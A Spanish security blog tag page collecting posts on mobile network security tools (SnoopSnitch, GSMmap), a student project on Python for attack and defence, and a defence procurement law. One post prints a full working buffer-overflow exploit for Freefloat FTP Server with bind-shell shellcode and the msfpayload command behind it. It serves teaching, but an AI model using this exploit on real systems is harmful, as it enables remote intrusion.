Mostrando entradas con la etiqueta Defensa. Mostrar todas las entradas
Mostrando entradas con la etiqueta Defensa. Mostrar todas las entradas


Hace ya un tiempo que os hable en mi charla sobre [In]Seguridad en Redes Móviles, en dicha charla os comentaba las debilidades / vulnerabilidades que existen en las redes móviles GSM/3G. 

El año pasado en diciembre de 2014, durante el congreso del Chaos Computer Club, los investigadores de Security ReseachLabs han publicado una vez más las debilidades existentes en las redes móviles actuales, y además, han creado un par de proyectos software libre, el primero para alertar y mostrar la inseguridad / vulnerabilidades de las redes móviles en los operadores actuales, y el segundo, una herramienta orientada a la protección , donde se monitoriza la red móvil para alertar y advertir de ataques en la red de tu operador.


[ Mobile Self-Defense / SnoopsNitch ]

Srlabs ha creado y puesto a disposición de todo el mundo (proyecto OpenSource) una aplicación para móviles Android, llamada snoopsnitch, que permite analizar la seguridad de la red móvil de tu operador de telefonía, y detectar algunos de las amenazas existentes, como estaciones base (BTS) falsa que capturan el IMSI, seguimiento de usuarios (Tracking)  y actualizaciones silenciosas, etc.

Además, se puede utilizar la aplicación SnoopSnitch para colaborar en el proyecto open source que muestra y compara la seguridad que existe entre las redes móviles de los operadores de telefonía móvil, este proyecto es http://gsmmap.org/.





Requisitos

Para poder ejecutar y que funcione la aplicación en el móvil se deben de cumplir los siguientes requisitos:
  • Qualcomm-based Android phone (see device list)
  • Stock Android ROM, version 4.1 or later
    Note: Custom Android ROMs like CyanogenMod may or may not work, depending on the availability of a Qualcomm DIAG kernel driver (DIAG_CHAR).
  • Root privileges on phone
Lista completa de compatibilidad de dispositivos: https://opensource.srlabs.de/projects/snoopsnitch/wiki/DeviceList

GNexus 4 / MakoLG-E960CyanogenMod 11-20141115-SNAPSHOT-M12-mako or special kernel

Para los poseedores de un Nexus 4 se necesita una ROM Cynogen con un Kernel modificado. Esto entra en mi lista de TO-DO!

Incompatible Devices:

The following devices have been found to be incompatible and can not be used with SnoopSnitch:
  • Unsupported. Devices with custom ROM such as CyanogenMod which lacks the Qualcomm DIAG kernel driver (DIAG_CHAR)
  • Unsupported. Every device without Qualcomm chipset
  • Unsupported. Samsung Galaxy S2 & S3
  • Unsupported. Nexus 5 with stock Android
  • Unsupported. Huawei Ascend Y300

Download:
SnoopSnitch is released under the GPL v3 license (cf. source:COPYING). The app is known to built under Linux and OS X, see source:README for build instructions.

[ GSMmap]

GSM Security Map compares the protection capabilities of mobile networks 

Se observa que en España hay muy pocos usuarios contribuyendo a este proyecto, lo que implica escasos datos para el análisis, sin embargo, en Alemania, existen una gran cantidad de usuarios aportando datos al proyecto.



Con los datos aportados, se analizan y se generan datos sobre la seguridad de las redes de los operadores de telefonía móvil. A continuación una captura de pantalla que se puede consultar en www.gsmmap.org sobre España y Alemania, respecto a la protección que ofrecen las operadoras móviles a ataques de interceptación de la comunicación.




En el caso de España, Vodafone y Movistar son las que más protección en redes 3G ofrecen, para ataques de interceptación de la comunicación. Sin embargo, Orange no sale tan bien parada en el analisis comparativo. No obstante, se debe de analizar el resultado de forma cauta, al verificar que no existen suficientes datos, es decir, hay pocos usuarios contribuyendo a este proyecto en España.

Pero al menos, en mi opinión, es un dato muy interesante y una página WEB a tener en consideración si decides cambiar de operador móvil, un nuevo factor de decisión a incluir,y no solo valorar a la operadora por su tarifa / plan o velocidad de los datos.

Además, observar que solamente existen datos comparativos de redes GSM/3G, dado que el despliegue de la red 4G es muy joven, y dispone de mejores medidas de seguridad.

Aplicación en Android 

https://play.google.com/store/apps/details?id=de.srlabs.gsmmap


[ Transparencias / Slides ]

Puedes consultar las transparencia de la presentación que ofreció Security ResearchLabs en el 31C Security Conference el pasado 30/12/2014.

Slides



[ Vídeo de la Presentación ]

En el pasado 31C Chaos Computer Club Conference Security Research Labs presento su herramienta SnoopSnitch para demostrar la inseguridad que existe en los protocolos de telefonía móvil. En su charla demuestran lo "barato" que resulta interceptar las comunicaciones GSM/3G utilizando la debilidad del protocolo de señalización SS7.




[ References ]

https://opensource.srlabs.de/projects/snoopsnitch

http://gsmmap.org/#!/about

https://play.google.com/store/apps/details?id=de.srlabs.snoopsnitch

https://play.google.com/store/apps/details?id=de.srlabs.gsmmap


Continuamos con la tercera y ultima entrega del trabajo trabajo sobre python como lenguaje de Ataque y Defensa, realizado por Fernando Crespo Ingeniero de Telecomunicaciones como proyecto fin del Curso Experto Seguridad TIC. Ahora convertido en Máster de Seguridad TIC.

INDICE

Como ya os contaba en el artículo anterior Fernando decidió realizar un trabajo sobre de Hacking tras finalizar el Curso Exp, y decidió aplicar y ampliar algunos de los conceptos adquiridos en el modulo de Hacking y pentesting impartido por mi (@rhodius - @ST2Labs - @seguridadparatodos), ahora convertido en un Máster de Seguridad TIC (+Info).

Hemos visto que Python puede convertirse en una potentísima suite para hacking con su fácil integración con poderosas herramientas como nmap y exploitdb. Pero, ¿podemos defendernos también con Python? La respuesta es que sí. Ya se ha mencionado que una de las mayores ventajas de Python es la enorme cantidad de librerías que posee y su integración con APIs de terceros.

Así, puede ser usado cómo herramienta de análisis forense (extracción de metadatos, extracción de datos del registro de Windows, bases de datos sqlite, etc.) según se propone en [O’Connor, 2012], o firewalls (https://pypi.python.org/pypi/firewall) pero no es la única forma de defenderse con Python.

En esta sección mostraré cómo implementar la API de VirusTotal con la que se ha construido un antivirus con funcionalidad de escaneo de directorios y capacidad para generar reportes en texto y excel. Empezaremos introduciendo al lector en VirusTotal, su historia y el modo de empleo habitual.

Introducción a VirusTotal. Un poco de historia

VirusTotal [https://www.virustotal.com, 2013] es un servicio online gratuito que realiza análisis de virus en ficheros de hasta 64MB comparándolo con 46 sistemas diferentes de antivirus. También permite escaneo de urls sospechosas aunque en el scanner desarrollado en python para este trabajo sólo se hará de ficheros.
Creado por la empresa malagueña Hispasec Sistemas, en 2007 fue seleccionado por PC World como uno de los mejores 100 productos. Su éxito lo llevó a que fuera adquirido por Google en 2012.

La API de VirusTotal. Implementación con Python

La API de VirusTotal (https://www.virustotal.com/es/documentation/public-api/) permite la creación de scripts para acceder a la información recogida por VirusTotal de los 46 motores de antivirus. El formato de las peticiones es HTTP(S) POST y las respuestas tienen formato JSON. Se permiten hasta cuatro peticiones (escaneo, re-escaneo, o recoger informe) por minuto (a menos que se vaya a aportar recursos a VirusTotal y no sólo recoger los informes).

La API es gratuita y para empezar a usarla hay que registrarse en la VirusTotal Community y al crear la cuenta tendremos una clave con la que podremos implementar la API.

VirusTotal Python Scanner (vtps). Un antivirus en Python

En este apartado mostraremos al lector la estructura, código fuente y modo de uso de VirusTotal Python Scanner, el antivirus creado para este proyecto. Cómo ya se ha comentado, para implementar la API además de la clave que obtenemos al registrarnos, necesitamos el host y la url para escanear, re-escanear y solicitar resultados (en la documentación de la API puede consultarse). Dado que se recomienda no
hacer scanning de archivos ya escaneados (el re-escaneo se hace sobre el hash del fichero, no sobre éste entero), guardaremos éstos últimos en un fichero (hará de base de datos), de forma que si ya se escaneó, sólo permitirá un re-escaneo o la solicitud de informes. Toda esta configuración más la necesaria para generar logs y la localización de la base de datos, es almacenada en un fichero xml y contrastada con un esquema.

Es por ello que lo primero que necesitamos es una clase para parsear XML, la cual se encuentra en textitxmlreader.py, otra para guardar la configuración, config.py y otra para crear los logs (vtpslogger.py). Por otro lado, los métodos para guardar y obtener información de la base de datos (fichero con formato JSON), usaremos database.py y target.py.

Por otro lado, las funciones propias del antivirus las encontraremos en scan.py, scanningwd.py (modo de escaneo en el que se observa una carpeta hasta que un fichero nuevo es creado en ella), rescan.py y report.py. Éstos llamarán a los métodos de la API encapsulados en vtapi.py que realizará los HTTP POST a VirusTotal mediante postlib.py (éste fichero hay que descagárselo de la página).

Para presentar un un simple menú de las acciones a realizar se ha creado menu.py. Elscript que carga toda la configuración inicial y llama a las clases anteriores es vtps.py. El contenido de los ficheros de configuración y el código fuente del programa puede verse en el Anexo I.

Ejemplos de uso

En esta sección se muestra distintos modos de empleo del programa creado, el escaneo simple y en modo watchdog, el re-escaneo y la generación de informes en texto y excel.

Menú de opciones

Tras ejecutar vtps.py se mostrará un menú con las opciones a elegir tal y como muestra la siguiente ilustración. La primera es para un escaneo del fichero, la segunda para el modo wathdog, la tercera para hacer un re-escaneo, las opciones cuarta y quinta son para la obtención de informes en textto y excel (respectivamente) y la última para salir del menú.

Ejemplo - VirtusTotal con python.

Escaneo simple, watchdog y re-escaneo

Para hacer un escaneo sólo es necesario que el fichero no haya sido escaneado antes (no debe estar en la base de datos). Si en el menú anterior elegimos la primera opción, nos pedirá un nombre de fichero o directorio. En este caso, debemos elegir un fichero para que no nos devuelva un error (no se hace un escaneo simple de un directorio). Para hacer la prueba usaré un troyano que he descargado de una web que contiene virus para descargar y probar: http://vx.netlux.org

Ejemplo - Escanear archivo con virtustotal y python
En la base de datos habrá añadido una entrada mientras hacía la correspondiente llamada a al API de VirusTotal con el fichero.


Si ahora elegimos el modo watchdog, Vtps se quedará esperando nuevos ficheros en ese directorio.

Ejemplo - VirusTotal con python
Si probamos con el mismo troyano con otro nombre, detectará que ese fichero ya fue escaneado por que tiene el mismo hash que el escaneado anteriormente (al cotejarlo con la base de datos) y nos dirá que o bien re-escaneemos (no actualiza la base de datos) o bien solicitemos un informe. Si probamos con otro fichero hará el escaneo y lo añadirá a la base de datos.


En la base de datos del nuevo fichero aparece:


Para hacer un re-escaneo, seleccionamos la opción tres. Si el fichero no ha sido previamente escaneado (no está en la base de datos) dará error (si no existe también aunque no se muestra aquí). Hay que aclarar que lo que busca no es el nombre del fichero, sino su hash. De hecho, si probamos con el troyano con otro nombre:

Ejemplo - VirusTotal con python - rescan
Generación de informes en texto y xls

Cuando se seleccionan las opciones 4 y 5 se solicita al usuario el nombre del ficherodel que se quiere obtener un informe. Vtps buscará su hash en la base de datos y si lo encuentra realizará la llamada a la API de VirusTotal para generar informes que contendrá el análisis de 46 sistemas de antivirus. Una vez obtenido el resultado (JSON), Vtps lo transformará en un fichero de texto o xls (Microsoft Excel) según la opción elegida.

Ejemplo - VirusTotal generación informes
En la carpeta reports se habrá creado un fichero con nombre la fecha y la hora de la solicitud del informe y extensión .txt. La siguiente captura muestra algunos de los resultados obtenidos

Ejemplo - VirusTotal reporting text python
Ahora probamos el reporte en excel:

Ejemplo - VirusTotal exportando a Excel

Hasta aquí! el artículo espero que os haya gustado.
Si alguien quiere el documento completo puede ponerse en contacto a través de info@seguridadparatodos.es

#ST2Labs
@st2labs

Continuamos con la segunda entrega del trabajo trabajo sobre python como lenguaje de Ataque y Defensa, realizado por Fernando Crespo Ingeniero de Telecomunicaciones como proyecto fin del Curso Experto Seguridad TIC. Ahora convertido en Máster de Seguridad TIC.

Como ya os contaba en el artículo anterior Fernando decidió realizar un trabajo sobre de Hacking tras finalizar el Curso Exp, y decidió aplicar y ampliar algunos de los conceptos adquiridos en el modulo de Hacking y pentesting impartido por mi (@rhodius - @ST2Labs - @seguridadparatodos), ahora convertido en un Máster de Seguridad TIC (+Info).

En esta segunda parte Fernando entra en materia para explotar una vulnerabilidad conocida utilizando para ello python, modificará un exploit conocido escrito en python para agregarle un nuevo shellcode.

INDICE

2.2.1. Scanning de puertos: integración con nmap

Para instalar el módulo nmap basta con usar easy-install (un programa que instala librerías de Python) como sigue:
$easy_install python-nmap
Así, un script sencillo que escanee puertos usando la librería de nmap para Python sería como sigue:

Script NMAP python


Texto:
import optparse, nmap
class NmapScanner:
     def __init__(self): self.nmsc = nmap.PortScanner()

    def nmapScan(self, host, port): 
          self.nmsc.scan(host, port) 
          self.state = self.nmsc[host][’tcp’][int(port)][’state’] 
          print " [+] "+ host + " tcp/" + port + " " + self.state

def main():

parser = optparse.OptionParser("usage%prog " + "-H <target host> -p <target port>") 
parser.add_option(’-H’, dest = ’host’, type = ’string’, help = ’Please, specify the target host.’)
parser.add_option(’-p’, dest = ’ports’, type = ’string’, help = ’Please, specify the target port(s) separated by comma.’) (options, args) = parser.parse_args() if (options.host == None) | (options.ports == None): print ’[-] You must specify a target host and a target port(s).’ exit(0) host = options.host ports = options.ports.split(’,’)

 for port in ports: 
NmapScanner().nmapScan(host, port)

if __name__ == "__main__": 
   main()
--Cut here --

Ejecutamos nuestro script y el resultado es el siguiente tras escanear un equipo:

$ python nmapScanner.py -H 192.168.1.138 -p 21,22,23,80,443 [+] 192.168.1.138 tcp/21 closed [+] 192.168.1.138 tcp/22 open [+] 192.168.1.138 tcp/23 closed [+] 192.168.1.138 tcp/80 open [+] 192.168.1.138 tcp/443 closed
2.2.2. Creación de exploits, Python y exploitdn

Para este caso, vamos a aprovechar una vulnerabilidad conocida en el servidor FTP Free Float FTP Server para Windows XP SP 3. Usaremos exploitdb integrado en BackTrack 5 R3 para ver un exploit en Python que manipularemos para provocar un Buffer overflow en la máquina de la víctima abriendo el puerto TCP 4444 con el que conseguiremos conectarnos a su máquina por telnet.

Primero de todo en el sistema del atacante vamos a exploitdb y ejecutamos como sigue:

Description ----------------------------------------------
Freefloat FTP Server Buffer Overflow Vulnerability 0day
----------------------------------------------
Path ------------------------ /windows/remote/15689.py

Ya tenemos nuestro exploit en Python. Pero tenemos que adaptarlo a nuestro sistema. Todo exploit trata de sobreescribir el registro EIP (Extended Instruction Pointer) con instrucciones como JMP ESP o CALL ESP. En sistemas operativos como XP hay ciertas DLL que tienen algunas de estas instrucciones en una dirección de memoria fija (no usan ASLR). 

Nosotros buscaremos la instrucción JMP ESP en la librería KERNEL32.DLL, para lo cual nos apoyaremos en un programa llamado findjmp.exe que ejecutaremos en el equipo víctima (en un ataque real habría que probar con varias direcciones conocidas que pueden variar en función de la versión del sistema operativo y el idioma).

La siguiente figura muestra cómo ejecutar este programa para encontrar la dirección de JMP ESP:

FindJMP dirección JMP en KERNEL32.DLL WindowsXP SP3
Ahora modificamos el script que lanza el shellcode con la nueva dirección obtenida. El shellcode es código máquina en hexadecimal que abrirá el puerto en la máquina de la víctima. Para ubicarlo en la zona de memoria primero hay que provocar el buffer overflow con una secuencia de caracteres cuya longitud puede calcularse con ayuda de metasploit. Efectivamente, probamos con una cantidad de bytes lo suficientemente elevada que provoque un buffer overflow. Con dicha cantidad usamos un script en Ruby llamado pattern_create.rb.

Con ese patrón volvemos a lanzar el shellcode ejecutándo el servidor FTP con un debugger como ollydbg o immunitydebugger observamos lo que se ha escrito en el EIP y el ESP. Usando estos valores con el script pattern_offset.rb tendremos el offset exacto para sobreescribir EIP y ESP.

Además, otro script importante es Mona.py que genera una secuencia de caracteres entre \x00 y \xff . Con esa secuencia, dependiendo de como hayamos sobreescrito ESP, podemos averiguar si hay algunos caracteres raros que no se ejecutarán en la máquina víctima.

Así el creador del script le puede indicar a metasploit que le genere el shellcode sin esos carácteres raros:

# msfpayload windows/shell_bind_tcp R | msfencode -a x86 -b "CARACTERES RAROS" -t c
Con estos elementos el atacante ya tiene su script:

Texto
# Exploit Title: Freefloat FTP Server Buffer Overflow Vulnerability
 # Date: 12/05/2010 
# Author: 0v3r 
# Software Link:
 # http://www.freefloat.com/software/freefloatftpserver.zip 
# Tested on: Windows XP SP3 EN 
# CVE: N/A
#!/usr/bin/python

import socket 
import sys

def usage():
     print "usage : ./freefloatftp.py <victim_ip> <victim_port>" 
     print "example: ./freefloatftp.py 192.168.1.100 21"

#Bind Shell shellcode port 4444 

shellcode = 
("\x31\xc9\xdb\xcd\xbb\xb3\x93\x96\x9d\xb1\x56\xd9\x74\x24\xf4" "\x5a\x31\x5a\x17\x83\xea\xfc\x03\x5a\x13\x51\x66\x6a\x75\x1c" "\x89\x93\x86\x7e\x03\x76\xb7\xac\x77\xf2\xea\x60\xf3\x56\x07" "\x0b\x51\x43\x9c\x79\x7e\x64\x15\x37\x58\x4b\xa6\xf6\x64\x07" "\x64\x99\x18\x5a\xb9\x79\x20\x95\xcc\x78\x65\xc8\x3f\x28\x3e" "\x86\x92\xdc\x4b\xda\x2e\xdd\x9b\x50\x0e\xa5\x9e\xa7\xfb\x1f" "\xa0\xf7\x54\x14\xea\xef\xdf\x72\xcb\x0e\x33\x61\x37\x58\x38" "\x51\xc3\x5b\xe8\xa8\x2c\x6a\xd4\x66\x13\x42\xd9\x77\x53\x65" "\x02\x02\xaf\x95\xbf\x14\x74\xe7\x1b\x91\x69\x4f\xef\x01\x4a" "\x71\x3c\xd7\x19\x7d\x89\x9c\x46\x62\x0c\x71\xfd\x9e\x85\x74" "\xd2\x16\xdd\x52\xf6\x73\x85\xfb\xaf\xd9\x68\x04\xaf\x86\xd5" "\xa0\xbb\x25\x01\xd2\xe1\x21\xe6\xe8\x19\xb2\x60\x7b\x69\x80" "\x2f\xd7\xe5\xa8\xb8\xf1\xf2\xcf\x92\x45\x6c\x2e\x1d\xb5\xa4" "\xf5\x49\xe5\xde\xdc\xf1\x6e\x1f\xe0\x27\x20\x4f\x4e\x98\x80" "\x3f\x2e\x48\x68\x2a\xa1\xb7\x88\x55\x6b\xce\x8f\x9b\x4f\x82" "\x67\xde\x6f\x34\x2b\x57\x89\x5c\xc3\x31\x01\xc9\x21\x66\x9a" "\x6e\x5a\x4c\xb6\x27\xcc\xd8\xd0\xf0\xf3\xd8\xf6\x52\x58\x70" "\x91\x20\xb2\x45\x80\x36\x9f\xed\xcb\x0e\x77\x67\xa2\xdd\xe6" "\x78\xef\xb6\x8b\xeb\x74\x47\xc2\x17\x23\x10\x83\xe6\x3a\xf4" "\x39\x50\x95\xeb\xc0\x04\xde\xa8\x1e\xf5\xe1\x31\xd3\x41\xc6" "\x21\x2d\x49\x42\x16\xe1\x1c\x1c\xc0\x47\xf7\xee\xba\x11\xa4" "\xb8\x2a\xe4\x86\x7a\x2d\xe9\xc2\x0c\xd1\x5b\xbb\x48\xed\x53" "\x2b\x5d\x96\x8e\xcb\xa2\x4d\x0b\xfb\xe8\xcc\x3d\x94\xb4\x84" "\x7c\xf9\x46\x73\x42\x04\xc5\x76\x3a\xf3\xd5\xf2\x3f\xbf\x51" 
"\xee\x4d\xd0\x37\x10\xe2\xd1\x1d\x1a")

junk1 = "\x41" * 230 
eip = "\x7B\x46\x86\x7C" #7C86467B JMP ESP (findjmp.exe): 
nops = "\x90" * 16 
junk2 = "\x43" * (1000 - len(junk1 + eip + nops + shellcode)) 
buff = junk1 + eip + nops + shellcode + junk2 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print "\n" 
print "----------------------------------------------------" 
print "|Freefloat FTP Server Buffer Overflow Vulnerability|" 
print "----------------------------------------------------" 
print "\n"

if len(sys.argv) != 3: 
    usage() 
    sys.exit()

ip = sys.argv[1] 
port = sys.argv[2]

try: 
print("[-] Connecting to " + ip + " on port " + port + "\n") s.connect((ip,int(port))) data = s.recv(1024)       print("[-] Sending exploit...") s.send(’USER ’ + buff + ’\r\n’) s.close() print("[-] Exploit successfully sent...") print("[-] Connect to " + ip + " on port 4444") 

except: 
   print("[-] Connection error...") 
   print("[-] Check if victim is up.")

-- cut Here --

Ejecutamos el script pasando como argumentos la IP de la víctima y el puerto en el que está escuchando el servidor. El resultado se muestra en la siguiente figura:

Testing exploit - Shell Remota
Esto es todo con respecto a la utilización de python como herramienta de ataque (Hacking), en la ultima entrega Fernando nos hablará de como usar python como Defensa, pero esto será en el próximo artículo.

Un Saludo.
#ST2Labs

Después este largo "letargo" he sacado un poco de tiempo para colgar el blog un trabajo sobre python como lenguaje de Ataque y Defensa. Este trabajo ha sido realizado por Fernando Crespo Ingeniero de Telecomunicaciones como proyecto fin del Curso Experto Seguridad TIC. 

Fernando eligió realizar un trabajo sobre de Hacking tras finalizar el Curso Exp, y decidió aplicar y ampliar algunos de los conceptos adquiridos en el modulo de Hacking y pentesting impartido por mi (@rhodius - @ST2Labs - @seguridadparatodos), ahora convertido en un Máster de Seguridad TIC (+Info).

El resultado es un trabajo sobre python como lenguaje de Hacking (Ataque) y Defensa. El trabajo se irá subiendo en varias partes (artículos) en el Blog, espero que os guste!

Gracias a Fernando, todos podemos disfrutar de su trabajo !

INDICE

1. Introducción y objetivos

En este documento se pretende investigar la potencia como herramienta para cualquier Ingeniero de Seguridad de uno de los lenguajes de programación más utilizados en la industria del software : Python.

Python es un lenguaje interpretado muy utilizado como herramienta de pentesting sobre todo para la creación de exploits. Pero su integración con infinidad de librerías de terceros hace pensar en Python como un lenguaje poderoso tanto para el ataque como para la defensa. Así, durante los diferentes artículos se mostrará al lector las dos caras que puede tener Python en el mundo de la Seguridad, incluyendo ejemplos prácticos.

La primera y segunda parte se van a centrar en Python como Lenguaje de Ataque (Hacking con Python).

2. Hacking con Python

Esta sección trata de mostrar al lector la potencia de Python para construir herramientas propias de hacking a través de ejemplos prácticos. Se analizarán las ventajas de Python y se verá su integración con otras herramientas muy conocidas como nmap y exploitdb.

2.1. Python como lenguaje para Hackers

Según [O’Connor, 2012], “Python es un lenguaje para Hackers”. Expone su defensa de esta aseveración en su sencillez, lo apropiado que es para iniciarse en la programación y la infinidad de librerías con las que puede integrarse, razón por la cual puede ayudar a extender las funcionalidades de las herramientas actuales de hacking. 

Por otro lado, según [Seitz, 2011] el autor y otros colegas de trabajo “Aprendieron Python específicamente para hacking”. Después de estas afirmaciones, cabe la pregunta de si es Python un lenguaje de hacking. Vamos a ver casos prácticos para comprobar la veracidad de las mismas.

2.2. Casos prácticos

En esta sección se plantean dos casos prácticos obtenidos de [O’Connor, 2013]. El primero será un escanner de puertos integrado con las librerías de nmap para Python. El siguiente será la utilización conjunta de Python y exploitdb para generar un exploit que aproveche una vulnerabilidad en un servidor FTP obteniendo la shell del equipo de la víctima.

2.2.1. Scanning de puertos: integración con nmap

Supongamos que quisiéramos crear un escáner de puertos. Tendríamos que crear un hilo por cada socket que abriese una conexión en un puerto y gestionar el uso compartido de la pantalla mediante un semáforo. Con esto tendríamos un código largo como se muestra a continuación y además sólo haríamos un scanning simple TCP, pero no ACK, SYN-ACK, RST o FIN proporcionados por el toolkit Nmap.

El formato de respuesta de Nmap es XML. Steve Milner y Brian Buston escribieron librerías Python para parsear este formato de respuesta, proporcionando la integración total con nmap y pudiendo hacer más tipos de escaneos.

||| Hasta aquí en esta primera entrega .... CONTINUARÁ

Un Saludo.
#ST2Labs
A través de la Plataforma de Contrataciones del Estado (http://contrataciondelestado.es) he descubierto que el pasado 2 de Agosto de 2011, fue publicada en el BOE Núm. 184, la nueva  Ley 24/2011, de 1 de agosto, de contratos del sector público en los ámbitos de la defensa y de la seguridad.

La ley entrará en vigor tres meses despúes de su publicación en el BOE, es decir, el 2 de Noviembre 2011.

Introducción

Esta ley incorpora al ordenamiento jurídico español las normas contenidas en la Directiva 2009/81/CE, del Parlamento Europeo y del Consejo, sobre coordinación de los procedimientos de adjudicación de determinados contratos de obras, de suministro y de servicios, por las entidades o poderes adjudicadores en los ámbitos de la defensa y la seguridad.

Dos son las ideas básicas que sirven de guía a las normas de la Directiva citada. De una parte, el reconocimiento de que en los contratos relativos a la defensa y la seguridad cobra especial relevancia, de una parte, la seguridad en la información que se transmite a los licitadores y la garantía en la continuidad del suministro y, de otra, la necesidad de establecer ciertas normas que faciliten la flexibilidad en los procedimientos de contratación.

La primera de las ideas mencionadas se ha traducido en la inclusión en la Directiva de los artículos 21, 22 y 23 que establecen normas que permiten garantizar tanto la seguridad de la información como la del suministro.


Artículo 21. Seguridad de la información.

1. El órgano de contratación especificará de forma resumida en el anuncio de licitación y, detalladamente en la documentación del contrato, las medidas y exigencias necesarias para garantizar la seguridad de la información al nivel requerido.

2. Asimismo, el órgano de contratación deberá incluir la exigencia a los candidatos o licitadores de estar en posesión de las correspondientes habilitaciones en materia de seguridad de empresa y, en su caso, de establecimiento, de conformidad en todo caso con el grado de clasificación de la información.

Los requisitos a que se refiere el párrafo anterior serán aplicables a todos los subcontratistas, en cualquier nivel de la cadena de subcontratación, que vayan a tener acceso a información clasificada y se requerirá la aprobación expresa y por escrito del órgano de contratación previa a la subcontratación, quien podrá solicitar del adjudicatario o en su caso del licitador o candidato certificación de que el subcontratista con el que se pretende iniciar la negociación dispone de las habilitaciones necesarias para acceder, almacenar o manejar la información clasificada relativa al subcontrato.
.....

Artículo 22. Seguridad del suministro.
1. El órgano de contratación especificará en la documentación del contrato sus exigencias en materia de seguridad del suministro.
.....
Entre otras cosas la Ley regula: Plazos de presentación de las solicitudes de participación y de las ofertas, Publicidad de las licitaciones, Adjudicación de los contratos, Preparación de los contratos (Seguridad de la información), etc.

Conclusión

Me ha parecido interesante, contaros una breve introducción a la nueva Ley, los artículos 21, 22 y 23, consisten principalmente en regular y garantizar la seguridad de la información en cuanto a la documentación correspondiente, las exigencias de habilitaciones de seguridad a las empresas y en los procesos de adjudicación de las licitaciones.

Más información: